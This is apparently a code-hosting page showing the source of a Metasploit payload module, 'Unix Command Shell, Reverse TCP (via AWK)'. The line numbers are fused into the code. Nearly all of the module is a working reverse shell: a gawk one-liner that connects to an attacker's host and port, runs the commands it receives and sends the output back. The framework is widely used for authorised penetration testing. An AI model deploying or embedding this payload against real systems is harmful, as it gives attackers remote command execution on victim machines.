Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_awk.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 154910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',16'Description' => 'Creates an interactive shell via GNU AWK',17'Author' =>18[19'espreto <robertoespreto[at]gmail.com>',20'Ulisses Castro <uss.thebug[at]gmail.com>',21'Gabriel Quadros <gquadrossilva[at]gmail.com>'22],23'License' => MSF_LICENSE,24'Platform' => 'unix',25'Arch' => ARCH_CMD,26'Handler' => Msf::Handler::ReverseTcp,27'Session' => Msf::Sessions::CommandShell,28'PayloadType' => 'cmd',29'RequiredCmd' => 'gawk',30'Payload' =>31{32'Offsets' => { },33'Payload' => ''34}35))36end3738#39# Constructs the payload40#41def generate(_opts = {})42super + command_string43end4445#46# Returns the command string to use for execution47#48def command_string49awkcmd = <<~AWK50awk 'BEGIN{51s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";52do{53if((s|&getline c)<=0)54break;55if(c){56while((c|&getline)>0)print $0|&s;57close(c)58}59} while(c!=\"exit\")60close(s)61}'62AWK63awkcmd.gsub!("\n",'').gsub!(' ', '')64end65end666768